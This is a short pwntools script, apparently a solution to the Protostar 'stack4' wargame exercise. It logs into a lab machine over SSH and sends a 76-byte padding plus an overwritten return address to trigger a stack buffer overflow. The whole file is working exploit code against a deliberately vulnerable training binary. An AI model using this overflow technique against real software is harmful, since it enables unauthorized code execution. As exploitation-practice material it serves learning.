from pwn import *

HOST = '192.168.32.143'
USERNAME = 'user'
PASS = 'user'
PORT=22

s = ssh(host=HOST, user=USERNAME, password=PASS, port=PORT)

directorio = "/opt/protostar/bin"
binario = '%s/stack4' % directorio
r = s.run(binario)
r.sendline('A'*76+"\xf4\x83\x04\x08")
print r.recvall()
